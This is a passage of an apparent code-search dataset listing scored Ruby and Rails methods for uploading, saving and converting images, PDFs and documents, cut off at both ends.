"def store(value)\n f = @@form.clone\n f[\"fileinput[0]\"] = {content: value, filename: \"title.png\", type: \"image/png\"}\n r = Turf::multipart(\"http://cubeupload.com/upload_json.php\", f)\n r.run\n key = JSON.parse(r.response.content)['file_name']\n puts \"@store #{key}\"\n key\n end", "title": "" }, { "docid": "c2c0396fe060c5c5417e66ddd6deda2b", "score": "0.54584324", "text": "def create\n @picture = Picture.new(params[:picture])\n logger.debug('PICTURE SAVE')\n logger.debug(@picture.file.inspect)\n #respond_to do |format|\n if @picture.save\n logger.debug( @picture.to_jq_upload )\n logger.debug( 'PICTURE SAVED' )\n #format.json { render :json => [ @picture.to_jq_upload ].to_json }\n render :text => [ @picture.to_jq_upload ].to_json \n else\n \tlogger.debug( @picture.to_json )\n\tlogger.debug( [ @picture.to_jq_upload.merge({ :error => @picture.errors.to_json }) ].to_json )\n logger.debug( 'PICTURE NOT SAVED' )\n #format.json { render :json => [ @picture.to_jq_upload.merge({ :error => @picture.errors.to_json }) ].to_json }\n render :text => [ @picture.to_jq_upload ].to_json \n end\n #end\n end", "title": "" }, { "docid": "32fc51fc0f6e49e244185b8921382bf0", "score": "0.54560804", "text": "def create_from_scanner_jpg\n\n @page = Page.new\n @page.original_filename=params[:upload_file].original_filename\n @page.position=0\n @page.source=Page::PAGE_SOURCE_SCANNED\n @page.mime_type='image/jpeg'\n @page.status=Page::UPLOADED\n @page.save!\n\n ## Copy to docstore\n @page.save_file(params[:upload_file], :org)\n\n ## just if provided in addition, we are happy, will be _s.jpg\n\n @page.save_file(params[:small_upload_file], :s_jpg) unless params[:small_upload_file].nil?\n\n ## Background: create smaller images and pdf and text\n\n Hardware.update_status_leds\n\n Converter.run_conversion([@page.id])\n\n Hardware.blink_ok_status_led\n\n\n ## this triggers the pusher to update the page with new uploaded data\n render('create_from_scanner_jpg', :handlers => [:erb], :formats => [:js])\n\n end", "title": "" }, { "docid": "0e07a1d3a300cd62a2b3293afb1f6d09", "score": "0.54513896", "text": "def save_temp_photos\n begin\n params[:temp_photo][:image].each do |tmp|\n Business::TempPhoto.create(:image => tmp[1], :token_id => params[:temp_photo][:questionnaire_token])\n end\n render json: {status: 'success'}\n rescue\n render json: {status: 'error'}\n end\n end", "title": "" }, { "docid": "19422cd76d5d4e6804a40043b3011571", "score": "0.54500896", "text": "def save\n json = MultiJson.encode(attributes)\n File.open(file, 'w') {|f| f.write(json) }\n end", "title": "" }, { "docid": "19422cd76d5d4e6804a40043b3011571", "score": "0.54500896", "text": "def save\n json = MultiJson.encode(attributes)\n File.open(file, 'w') {|f| f.write(json) }\n end", "title": "" }, { "docid": "9c744338d7af199d28293e0368ffca63", "score": "0.5445037", "text": "def converter_upload_jpgs(result_jpg, result_sjpg, page_id)\n puts \"*** Upload JPGS to #{@web_server_uri} via convert_upload_jpgs\"\n RestClient.post @web_server_uri+'/convert_upload_jpgs', {:page => {:result_sjpg => result_sjpg, :result_jpg => result_jpg, :id => page_id}}, :content_type => :json, :accept => :json\n end", "title": "" }, { "docid": "da5149ec56497f7e5ea175206505581c", "score": "0.54449207", "text": "def simulate model_or_file\n\n @@builder ||= Seek::JWS::Builder.new\n\n if (model_or_file.is_a?(String))\n saved_file = model_or_file\n else\n params_hash,attribution_annotations,saved_file,objects_hash,error_keys = @@builder.builder_content model_or_file\n end\n\n url=upload_url\n response = RestClient.post(url, :savedfile=>saved_file, :multipart=>true) { |response, request, result, &block |\n if [301, 302, 307].include? response.code\n response.follow_redirection(request, result, &block)\n else\n response.return!(request, result, &block)\n end\n }\n extract_applet(response.body)\n end", "title": "" }, { "docid": "1a032b9448cae00a925f64aced020213", "score": "0.5438298", "text": "def save\n node.name = @file.original_filename\n node.file_type = @file.content_type\n node.size = @file.tempfile.size\n save_file\n node.save\n end", "title": "" }, { "docid": "0b599a6296eac0822eee0e28bad93d33", "score": "0.54375803", "text": "def create\n @foto = Foto.new(params[:foto])\n @foto.gallery_id = (params[:gallery_id])\n @gallery = @foto.gallery\n respond_to do |format|\n @foto.title = @foto.datei.filename\n if @foto.save\n format.html {\n render :json => [@foto.to_jq_upload].to_json,\n :content_type => 'text/html',\n :layout => false\n }\n format.json { render json: {files: [@foto.to_jq_upload]}, status: :created, location: [@gallery, @foto] }\n else\n format.html { render action: \"new\" }\n format.json { render json: @foto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e5954a39ce8206cff770a79f8d4b8995", "score": "0.5435771", "text": "def create\n @photo = Photo.new(params[:photo])\n\n respond_to do |format|\n if @photo.save\n format.html { render :json => [@photo.to_jq_upload].to_json, \n :content_type => 'text/html',\n :layout => false\n }\n #format.html { redirect_to @photo, notice: 'Photo was successfully created.' }\n format.json { render json: {files: [@photo.to_jq_upload] }}\n else\n format.html { render action: \"new\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7b07186633aeda3f67de068b359ff6fa", "score": "0.54129714", "text": "def save \n \tif !persisted?\n\t \tfile=EXIFR::JPEG.new(@contents)\n\t \t@location=Point.new(:lng=>file.gps.longitude, :lat=>file.gps.latitude)\n\t \t@contents.rewind\n\t \tdesc={:content_type=> \"image/jpeg\", :metadata=>{:location=>@location.to_hash, :place=>@place}}\n \t @id=self.class.mongo_client.database.fs.insert_one(Mongo::Grid::File.new(@contents.read, desc)).to_s\n \telse\n \t\tdesc={:content_type=> \"image/jpeg\", :metadata=>{:location=>@location.to_hash, :place=>@place}}\n \t\tmongo_client.database.fs.find(_id:BSON::ObjectId.from_string(@id)).update_one(desc)\n \tend\n end", "title": "" }, { "docid": "f1259338ea1d91090690b7bf4e327056", "score": "0.54104924", "text": "def uploadify\n type=params[:type]\n #render :text=>params.inspect\n #return\n if type==\"plan\"\n @have=Have.find(params[:id])\n @have.plan_image=params[:Filedata]\n ##@have.plan_image=params[@tempfile]\n @have.save!\n render :json=>'{\"plan_image_url\":\"'+@have.plan_image_url+'\"}'\n else\n render :text=>\"not a pan file\"+params.inspect\n end\n end", "title": "" }, { "docid": "bc9d445857f617658356edd22c166ffd", "score": "0.5397121", "text": "def create\n @document = Document.create( document_params )\n @document.user_id = current_user.id\n #@document.description = params[:description]\n @document.description = document_params[:description]\n\n respond_to do |format|\n if @document.save\n separatePages(@document.id) \n \n #format.html { redirect_to @document, notice: 'pdf upload successful' }\n format.html { redirect_to documents_url, notice: 'pdf upload successful' }\n format.json { render action: 'index', status: :created, location: @document }\n else\n format.html { render action: 'new' }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c5be6ac7266a8ffd49b05eab967fed36", "score": "0.53945524", "text": "def image_save_as_tiff_multipage_file(image_save_as_tiff_multipage_parameters, opts = {})\n data, _status_code, _headers = image_save_as_tiff_multipage_file_with_http_info(image_save_as_tiff_multipage_parameters, opts)\n data\n end", "title": "" }, { "docid": "d68c62690d6040a639ad5a4e9397442b", "score": "0.5379175", "text": "def create\n #loop on each file from array and create document\n params[:document][:filearrays].each do |file|\n @document = Document.new(:document => file, :animal_id => params[:document][:animal_id])\n if @document.save\n flash[:notice] = 'Successfully uploaded the document.'\n else\n flash[:error] = 'There was a problem uploading the document.'\n end\n end\n \n redirect_to :back\n end", "title": "" }, { "docid": "7fd7540b88cf21201e890cabd0d86799", "score": "0.53558385", "text": "def create\n #uri = \"joshpruim.com/imagedata\"\n @page = Page.find(params[:page_id])\n @image = @page.images.build(params[:image])\n #@image = Image.new(params[:image])\n uri = get_html_content(\"http://joshpruim.com/imagedata/path.txt\")\n uuid = SecureRandom.hex\n uploaded_io = params[:image][:file]\n filen = Base64.encode64(uploaded_io.read)\n filename = uuid + File.extname(uploaded_io.original_filename)\n puts filename\n uri = URI.parse(\"http://\" + uri + \"/put.php?file=\" + filename)\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Post.new(uri.request_uri)\n request.set_form_data({\"data\" => filen})\n response = http.request(request)\n puts response\n @image.file = uuid + File.extname(uploaded_io.original_filename)\n\n respond_to do |format|\n if @image.save\n format.html { redirect_to @page, :notice => 'Image was successfully created.' }\n format.json { render :json => @page, :status => :created, :location => @page }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @image.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8a50f7d61f724f1a60430e6ece2ffaf4", "score": "0.5355707", "text": "def upload\n images = []\n params[:files].each do |file|\n images << Image.create(:file => file, :build_id => @build.id, :upload_method_id => UploadMethod::DIRECT)\n end\n #render :json => image.attributes.merge(additional_image_attributes(image)), :content_type => 'text/javascript'\n render :json => images.collect { |i| i.attributes.merge(additional_image_attributes(i)) }, :content_type => 'text/javascript'\n end", "title": "" }, { "docid": "a644e7716a435917f16a718ab7f557af", "score": "0.5347078", "text": "def create_from_upload\n\n begin\n\n error_message = ''\n success_status = true\n\n if params[:file_upload].nil? or params[:file_upload][:my_file].nil?\n raise \"No filename entered.\"\n end\n\n upload_file = params[:file_upload][:my_file]\n\n unless Page::PAGE_MIME_TYPES.has_key?(upload_file.content_type)\n raise \"File format not supported\"\n end\n\n page = Page.new(\n :original_filename => upload_file.original_filename,\n :source => Page::PAGE_SOURCE_UPLOADED,\n :mime_type => upload_file.content_type)\n\n page.save!\n page.reload\n page.save_file(upload_file, :org)\n\n Converter.run_conversion([page.id])\n\n ## this triggers the pusher to update the page with new uploaded data\n push_upload_update('Scanner', \"New Scanner File\", page)\n\n rescue StandardError => e\n error_message = e.message\n success_status=false\n end\n\n respond_to do |format|\n format.js { render :locals => {:error_message => error_message, :success_status => success_status}}\n end\n\n\n\n\n end", "title": "" }, { "docid": "5693e2d9697a3175367f3a3bef547ae4", "score": "0.53304064", "text": "def upload_file\n invoice_file = params[:invoice_file]\n\n redirect_back fallback_location: root_path if invoice_file.blank?\n\n output_user_story_file = parse_numbers(params[:invoice_file])\n\n send_file(output_user_story_file.path , :filename => 'output_user_story_1')\n end", "title": "" }, { "docid": "d271721133987384b1c49d759e940b5d", "score": "0.53249216", "text": "def create\n @document = Document.new(document_params)\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'Documento criado com sucesso.' }\n format.json { render :show, status: :created, location: @document }\n format.pdf { params[:document][:file].each do |file|\n @document.file.create!(:document => file)\n end}\n else\n format.html { render :new }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4c8a2ee0d836abcf4299fd0601236c49", "score": "0.5320196", "text": "def update_conversion(result_jpg, result_sjpg, result_orginal, result_txt)\n\n self.save_file(result_sjpg, :s_jpg) unless result_sjpg.nil? # small preview pic\n self.save_file(result_jpg, :jpg) unless result_jpg.nil? # medium preview pic\n self.save_file(result_orginal, :org) unless result_orginal.nil?\n\n self.status=Page::UPLOADED_PROCESSED\n\n ### pages scanned as JPG are converted to PDF\n if self.short_mime_type==:JPG then\n self.mime_type=PAGE_DEFAULT_SCAN_MIME_TYPE\n end\n\n if result_sjpg.nil? then\n self.preview= Page::PAGE_NO_PREVIEW\n else\n self.preview= Page::PAGE_PREVIEW\n end\n\n self.content=result_txt\n\n self.save!\n\n end", "title": "" }, { "docid": "e06883bb1aea41a398d059d1936be7fe", "score": "0.5317348", "text": "def do_the_multi_upload\n return true if params[:stop]==\"true\"\n @document_home = DocumentHome.new()\n params[:document_home]= {}\n if params.has_key?(:file)\n if params[:file]\n success_count = error_count=0\n params[:document_home].merge!(:access_rights=>1, :employee_user_id=>params[:employee_user_id],\n :created_by_user_id=>params[:current_user_id],:company_id=>params[:company_id],\n :mapable_id=>params[:employee_user_id],:mapable_type=>'User',:upload_stage=>1,:user_ids=>[params[:employee_user_id]],\n :folder_id=>params[:parent_folder_id],:owner_user_id=>get_employee_user_id)\n @current_employee_user = User.find(params[:employee_user_id])\n @document_home = @current_employee_user.document_homes.new(params[:document_home])\n filename = params[:name]\n params[:name] = filename.gsub(/[.][^.]+$/,\"\")\n @document=@document_home.documents.build(:company_id=>params[:company_id], :employee_user_id=> params[:employee_user_id], :created_by_user_id=>params[:current_user_id], :data => params[:file], :name => params[:name])\n if @document_home.save\n success_count+=1\n else\n error_count+=1\n end\n end\n end\n # render :nothing => true called as we are not going to render any view after the action.\n render :nothing => true\n @document_home = nil\n @document = nil\n @folder = nil\n params = nil\n GC.start\n end", "title": "" }, { "docid": "77295a3554829e5342246062131fd11e", "score": "0.5310804", "text": "def create\n uploaded_io = params[:documento][:pdf]\n @documento = Documento.new\n @documento.nome = uploaded_io.original_filename\n @documento.conteudo = \"\"\n\n\n reader = PDF::Reader.new(uploaded_io.tempfile)\n reader.pages.each do |page|\n @documento.conteudo << page.text\n end\n\n respond_to do |format|\n if @documento.save\n format.html { redirect_to @documento, notice: 'Documento was successfully created.' }\n format.json { render action: 'show', status: :created, location: @documento }\n else\n format.html { render action: 'new' }\n format.json { render json: @documento.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "62aab7f7da7fc9ea99f5abc306ceb3de", "score": "0.53091836", "text": "def save\n \tif !persisted?\n \t\t# extract geolocation information from the jpeg image\n \t\tgps=EXIFR::JPEG.new(@contents).gps\n\n \t\t# store the content type of image/jpeg in the GridFS contentType file property\n \t\tdescription={}\n \t\tdescription[:content_type]=\"image/jpeg\"\n\n \t\t# store the GeoJSON Point format of the image location in the GridFS metadata file property and the object in class’ location property.\n \t\t@location=Point.new(:lng=>gps.longitude, :lat=>gps.latitude)\n \t\tdescription[:metadata] = {}\n \t\tdescription[:metadata][:location]=@location.to_hash\n \t\tdescription[:metadata][:place]=@place\n\n\t\t # store the data contents in GridFS\n\t\t # first rewind to the top of the file\n\t\t @contents.rewind\n\t\t grid_file = Mongo::Grid::File.new(@contents.read, description)\n\t\t id=self.class.mongo_client.database.fs.insert_one(grid_file)\n\n\t\t # store the generated _id for the file in the :id property of the Photo model instance.\n\t\t @id=id.to_s\n\t else\n # update the file information of the persisted instance into GridFS\n\t\t doc = self.class.mongo_client.database.fs.find(:_id=>id_object).first\n\t\t doc[:metadata][:location] = @location.to_hash\n\t\t doc[:metadata][:place] = @place\n\t\t self.class.mongo_client.database.fs.find(:_id=>id_object).update_one(doc)\n \tend\n end", "title": "" }, { "docid": "43b0dc37ce5a2ca10b3d01c8591a0d7d", "score": "0.5305281", "text": "def documents\n respond_to do |format|\n format.html\n format.json { render json: @note.documents.map{|d| d.to_jq_upload } }\n end\n end", "title": "" }, { "docid": "5b9ea6ffce6007d7f5c40d80dd9ccfa2", "score": "0.530063", "text": "def create\n @photo = Photo.new(params[:photo])\n\n if @photo.save\n respond_to do |format|\n format.html {\n render :json => [@photo.to_jq_upload].to_json,\n :content_type => 'text/html',\n :layout => false\n }\n format.json {\n render :json => [@photo.to_jq_upload].to_json\n }\n end\n else\n render :json => [{:error => \"custom_failure\"}], :status => 304\n end\n end", "title": "" }, { "docid": "9e210d5977248db85bf84c2c24e4efa6", "score": "0.52996296", "text": "def save_file\n @file = File.open(@save_path, \"wb\")\n @file.write(@object.body)\n @file.close\n rescue\n @error = \"Unable to save resulting image at `#{@save_path}` location\"\n end", "title": "" }, { "docid": "4ddbf64b3dd466af30298c730a82242b", "score": "0.529766", "text": "def create\n file = params[:uploaded_file]\n# puts file.methods\n \n# if file.path.downcase =~ /.xml/\n doc = REXML::Document.new(file)\n str = \"/images/\"\n# elsif file.path.downcase =~ /.zip/\n# zip = Zip::ZipFile.open(file.path)\n# FileUtils.mkdir_p(\"public/assets/xml/\" + File.dirname(zip.each.entries[1].name))\n# FileUtils.mkdir_p \"public\" + (str = \"/images/\" + File.dirname(zip.each.entries[1].name))\n# doc = REXML::Document.new\n# \n# zip.each do |single_file|\n# if single_file.name.downcase =~ /.xml/\n# path = File.join(\"public/assets/xml/\", single_file.name)\n# File.delete(path) if File.exist?(path)\n# single_file.extract(path)\n# doc = REXML::Document.new File.new(path)\n# elsif single_file.name =~ /\\./\n# path = File.join(\"public/images/\", single_file.name)\n# puts path\n# File.delete(path) if File.file?(path)\n# single_file.extract(path)\n# img = Magick::ImageList.new(path)\n# img.write(path[0..(path =~ /\\./)] + \"png\")\n# File.delete(path) if File.file?(path)\n# end\n# end\n \n# else\n# format.html { render :action => \"new\" }\n# format.xml { render :xml => @document.errors, :status => :unprocessable_entity }\n# end \n doc = parse_xml(doc, str)\n data = \"\"\n doc.write data, -1\n# flash[:notice] = str\n \n# data = uploaded_file.read if uploaded_file.respond_to? :read\n \n @document = Document.new({:title => params[:title], :content => data, :user_id => session[:id]})\n \n# @document = Document.new(params[:document])\n\n respond_to do |format|\n if @document.save\n flash[:notice] = 'Document was successfully created.'\n format.html { redirect_to(@document) }\n format.xml { render :xml => @document, :status => :created, :location => @document }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6a72386590247cc23b83e30b8b8c6f35", "score": "0.5294043", "text": "def create\n @photo = Photo.new(params[:photo])\n\n if @photo.save\n respond_to do |format|\n format.html {\n render :json => [@photo.to_jq_upload].to_json,\n :content_type => 'text/html',\n :layout => false\n }\n format.json {\n render :json => [@photo.to_jq_upload].to_json\n }\n end\n else\n render :json => [{:error => \"custom_failure\"}], :status => 304\n end\n end", "title": "" }, { "docid": "7d5a92173f53bef38b0a2c3a39504ea6", "score": "0.5287554", "text": "def sign_upload\n\n\n puts \"Uploading to sign doc\"\n\n #http://www.dropzonejs.com/\n uploaded_file = params[:file]\n mixpanel_tab_event(\"Upload & Sign\", \"Upload File\")\n folder = params[:folder_id]\n ext = uploaded_file.original_filename.split('.').last\n\n if (ext == \"pdf\")\n temp_file = File.open(Rails.root.join('tmp', uploaded_file.original_filename), 'wb')\n begin\n temp_file.write(uploaded_file.read)\n temp_file.close\n\n box_user = Box.user_client(session[:box_id])\n box_file = box_user.upload_file(temp_file.path, folder)\n # box_user.create_metadata(box_file, meta)\n\n rescue => ex\n puts ex.message\n ensure\n File.delete(temp_file)\n end\n\n flash[:notice] = \"Successfully Uploaded!\"\n else\n flash[:error] = \"File not uploaded. Must upload a PDF.\"\n end\n respond_to do |format|\n format.json{ render :json => {} }\n end\n end", "title": "" }, { "docid": "906502089780ed85c8e9b177a2c8d3ff", "score": "0.52834636", "text": "def create\n @gripe = Gripe.new(params[:gripe])\n\n @gripe.user = current_user\n \n respond_to do |format|\n if @gripe.save\n\n if params['arrayFiles']\n params['arrayFiles'].split(':::').each do |media|\n @file_type = media.split('::')[1]\n if @file_type == 'undefined'\n @media = FileGripe.new\n @media.gripe_id = @gripe.id\n @media.file_upload_id = media.split('::').first\n @media.overview = media.split('::').last\n @media.mimetype = FileUpload.find(media.split('::').first).source.present? ? 'video' : 'image' \n @media.save\n else\n @media = FileGripe.find(media.split('::').first.to_s)\n @media.gripe_id = @gripe.id\n @media.overview = media.split('::').last\n @media.save\n end\n end \n end\n \n call_rake(:send_facebook_new, :user_id => current_user.id, :gripe_title => params[:gripe][:title], :gripe_text => params[:gripe][:overview][0..17] + \"...\")\n call_rake(:send_twitter_new, :user_id => current_user.id, :gripe_title => params[:gripe][:title], :gripe_text => params[:gripe][:overview][0..17] + \"...\")\n\n format.html { redirect_to mygripes_path }\n format.json { render json: @gripe, status: :created, location: @gripe }\n else\n format.html { render action: \"new\" }\n format.json { render json: @gripe.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8ccbda9ff286053c66a21379418b2427", "score": "0.52831906", "text": "def save_as_tiff(pdf_save_as_tiff_parameters, opts = {})\n data, _status_code, _headers = save_as_tiff_with_http_info(pdf_save_as_tiff_parameters, opts)\n data\n end", "title": "" }, { "docid": "fdb53a332137f682e5fe31a587c1066e", "score": "0.52784634", "text": "def create\r\n @photo = Photo.new\r\n @photo.image = params[:photo][:image].shift\r\n @photo.model_id = params[:model_id]\r\n if @photo.save\r\n respond_to do |format|\r\n format.html { \r\n render :json => [@photo.to_jq_upload].to_json, \r\n :content_type => 'text/html',\r\n :layout => false\r\n }\r\n format.json { \r\n render :json => [@photo.to_jq_upload].to_json \r\n }\r\n end\r\n else \r\n render :json => [{:error => \"custom_failure\"}], :status => 304\r\n end\r\n end", "title": "" }, { "docid": "e2d020fdb444f71692f167930477e196", "score": "0.52738523", "text": "def save_all_files_to_disk\n data = JSON.parse(self.to_json)\n save_to_disk(data)\n data['sequences'].each do |sequence|\n save_to_disk(sequence)\n sequence['canvases'].each do |canvas|\n save_to_disk(canvas)\n canvas['images'].each do |annotation|\n save_to_disk(annotation)\n end\n end\n end\n nil\n end", "title": "" }, { "docid": "4ec635c9ee10f53ecd447d1f7f268cef", "score": "0.526972", "text": "def create\n @upload = Upload.new(upload: upload_params[:upload][0])\n #@upload = Upload.new(upload_params)\n @upload.user = current_user\n\n respond_to do |format|\n if @upload.save\n format.html {\n render :json => { files: [@upload.to_jq_upload] },\n :content_type => 'text/html',\n :layout => false\n }\n format.json { render json: { files: [@upload.to_jq_upload] }, status: :created, location: @upload }\n else\n format.html { render action: \"new\" }\n format.json { render json: @upload.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "44411e31cd8936bcf52dce6408273a01", "score": "0.5267389", "text": "def update_conversion(result_jpg, result_sjpg, result_orginal, result_txt)\n\n self.save_file(result_sjpg, :s_jpg) unless result_sjpg.nil? # small preview pic\n self.save_file(result_jpg, :jpg) unless result_jpg.nil? # medium preview pic\n self.save_file(result_orginal, :org) unless result_orginal.nil?\n\n self.status = Page::UPLOADED_PROCESSED\n\n ### pages scanned as JPG are converted to PDF\n if self.short_mime_type == :JPG then\n self.mime_type = PAGE_DEFAULT_SCAN_MIME_TYPE\n end\n\n if result_sjpg.nil? then\n self.preview = Page::PAGE_NO_PREVIEW\n else\n self.preview = Page::PAGE_PREVIEW\n end\n\n self.content = result_txt\n\n self.save!\n\n end", "title": "" }, { "docid": "17a1a6b3dbfcc1d23a62670cb750e1ff", "score": "0.52632", "text": "def init_tiff_file(last_rid)\r\n id = last_rid + 1\r\n tiff_data = {\r\n :id => id,\r\n :fname => \"/word/media/image1.jpeg\",\r\n :data => make_tiff,\r\n :type => \"#{@schema}/image\"\r\n }\r\n\r\n return id, tiff_data\r\n end", "title": "" }, { "docid": "7ae4255a1e2139b5a5cae1e25aa18ed5", "score": "0.5262794", "text": "def save_as_tiff_file(pdf_save_as_tiff_parameters, opts = {})\n data, _status_code, _headers = save_as_tiff_file_with_http_info(pdf_save_as_tiff_parameters, opts)\n data\n end", "title": "" }, { "docid": "6aa2909f67c7ce6d8ea39b76384b3011", "score": "0.526003", "text": "def upload\n\n \t@user_id = session[:user_cookie]\n \tif @user_id.nil?\n \t\treturn\n \tend\n \t\n \t@upload_file = params[:resource][:file]\n \t\n\tfile = @upload_file.tempfile\n\tbasename = File.basename(@upload_file.original_filename)\n\ttune_id = params[:resource][:tune][:id]\n \t\n \tcreate_with_attachment(file, basename, tune_id)\n\tparams.has_key?(:redirect) ? (redirect_to params[:redirect]) : (render :json => @resource)\n \t \n end", "title": "" }, { "docid": "45317faf8b9119fcfb8b4c6f9de38e65", "score": "0.5258499", "text": "def create\n @offices_attachment = OfficesAttachment.new(params[:offices_attachment])\n\n respond_to do |format|\n if @offices_attachment.save\n format.html { \n render :json => [@offices_attachment.to_jq_upload].to_json, \n :content_type => \"text/html\",\n :layout => false\n }\n format.json { render json:{files: [@offices_attachment.to_jq_upload]}, status: :created, location: @offices_attachment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @offices_attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ed49a2be98c8e763a9d5dcf69449bf37", "score": "0.5255842", "text": "def as_file_upload\n as_json(:only=>[:id, :graveyard_id, :user_id, :caption, :sort_order]).merge({\n name: upload_file_name,\n size: upload_file_size,\n url: path.virtual,\n thumbnailUrl: thumbnail_path.virtual,\n deleteType: 'DELETE',\n deleteUrl: \"/photos/#{id}\"\n })\n end", "title": "" }, { "docid": "95bbab97577f76e45c48a2fdb6899fc0", "score": "0.5255054", "text": "def image_save_as_tiff_file_with_http_info(image_save_as_tiff_parameters, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ImageApi.image_save_as_tiff_file ...'\n end\n # verify the required parameter 'image_save_as_tiff_parameters' is set\n if @api_client.config.client_side_validation && image_save_as_tiff_parameters.nil?\n fail ArgumentError, \"Missing the required parameter 'image_save_as_tiff_parameters' when calling ImageApi.image_save_as_tiff_file\"\n end\n # resource path\n local_var_path = '/api/image/ImageSaveAsTIFFFile'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['text/plain', 'application/json', 'text/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json-patch+json', 'application/json', 'text/json', 'application/*+json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(image_save_as_tiff_parameters) \n\n # return_type\n return_type = opts[:return_type] || 'File' \n\n # auth_names\n auth_names = opts[:auth_names] || []\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ImageApi#image_save_as_tiff_file\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "4b758ee68a8eb00b5285284bd2120456", "score": "0.52538836", "text": "def to_jq_upload(store_filename, file)\n {\n \"name\" => store_filename,\n \"size\" => file.size,\n \"url\" => file.path,\n \"thumbnail_url\" => \"../assets/excel-thumbnail.jpg\"\n }\nend", "title": "" }, { "docid": "32dd9330dfafb0e04437127b9db66485", "score": "0.5248813", "text": "def create\n #p_attr = params[:photo]\n # p_attr[:image] = params[:photo][:image].first if params[:photo][:image].class == Array\n\n @photo = Photo.new(params[:photo])\n\n if @photo.save\n respond_to do |format|\n format.html {\n render :json => @photo.to_jq_upload.to_json,\n :content_type => 'text/html',\n :layout => false\n }\n format.json {\n render :json => @photo.to_jq_upload.to_json\n }\n end\n else\n render :json => [{:error => \"custom_failure\"}], :status => 304\n end\n end", "title": "" }, { "docid": "e48f449e3c7c8fc3d01f78d042dd7d4a", "score": "0.523836", "text": "def upload\n uploader = PreviewUploader.new\n uploader.store!(params[:preview])\n image = EXIFR::JPEG.new(uploader.path)\n \n if image.exif? && !image.gps_latitude.nil?\n lat = image.gps_latitude[0].to_f + (image.gps_latitude[1].to_f / 60) + (image.gps_latitude[2].to_f / 3600)\n long = image.gps_longitude[0].to_f + (image.gps_longitude[1].to_f / 60) + (image.gps_longitude[2].to_f / 3600) \n long = long * -1 if image.gps_longitude_ref == \"W\" # (W is -, E is +)\n lat = lat * -1 if image.gps_latitude_ref == \"S\" # (N is +, S is -)\n end\n \n render :json => {\n :url => uploader.url,\n :preview => uploader.versions[:small].url,\n :latitude => lat,\n :longitude => long,\n :date_taken => image.date_time_original\n }\n end", "title": "" }, { "docid": "a74e399dccf6dfde7c4590b846c805cf", "score": "0.52342796", "text": "def save\n @parser.file_name = @file_path if @parser.respond_to?(:file_name=)\n @file_handler.write(@file_path, @parser.serialize(data))\n end", "title": "" }, { "docid": "53c62daed26205cc8eb711d20dbef01a", "score": "0.5231597", "text": "def new_upload\n @document = @project.documents.new\n\n authorize @document, :create?\n \n respond_to do |format|\n format.html\n format.js\n end\n end", "title": "" }, { "docid": "0b5521f6fd53d5944b897cd94e357f96", "score": "0.52256596", "text": "def upload\n\t\tproject_id = params[:id]\n\t\tfile = params[:file]\n\t\ttoken = params[:token]\n\t\tfile_name = params[:name]\n\t\trender User.uploadAsJSon(project_id,file,token,file_name)\n\tend", "title": "" }, { "docid": "c1267672d7870845dfd05682ec0ea4c5", "score": "0.52249503", "text": "def create\n @artist = Artist.new()\n @artist.name = artist_params[:name]\n @artist.bio = artist_params[:bio]\n @artist.hometown = artist_params[:hometown]\n @user = User.find_by_id(artist_params[:user_id])\n @artist.user = @user\n # Process the file, decode the base64 encoded file\n if(params[:artist][:image] != null)\n @binary = params[:artist][:image].split(',')\n @image_code = @binary[1]\n @decoded_file = Base64.decode64(@image_code)\n\n @filename = \"document_data.JPG\" # this will be used to create a tmpfile and also, while setting the filename to attachment\n @tmp_file = Tempfile.new(@filename) # This creates an in-memory file [details here][1]\n @tmp_file.binmode # This helps writing the file in binary mode.\n @tmp_file.write @decoded_file\n @tmp_file.rewind()\n\n # We create a new model instance\n @artist.image.attach(io: @tmp_file, filename: @filename) # attach the created in-memory file, using the filename defined above\n @artist.save\n @tmp_file.unlink # deletes the temp file\n else\n @artist.save\n end\n\n render json: @artist\n end", "title": "" }, { "docid": "67bd7fcbdb75a06111f1dd6711d305e4", "score": "0.5220229", "text": "def upload_data(data)\n Medication.validate_json(data)\n reset_interactions(data['drug_interactions'])\n upload_related(data)\n data.delete('drug_interactions')\n data.delete('related_questions')\n data.delete('related_searches')\n document.overwrite(data)\n end", "title": "" }, { "docid": "1c3afb832a0ca49342696c7518b89c5a", "score": "0.5218148", "text": "def save\n file.data= data\n file.save\n end", "title": "" }, { "docid": "ca023042f601b75d6a55732ae10b58cf", "score": "0.5215899", "text": "def create\n @loaded_photos = []\n\n params[:gallery_pic][:picture].each do |pic|\n @photo = GalleryPic.new(photo: pic, user_id: current_user.id, pic_collection: params[:collection])\n @photo.save\n @loaded_photos << @photo\n end\n \n respond_to do |format|\n format.html { render json: {files: @loaded_photo.map{|pic| pic.to_jq_upload} }, content_type: 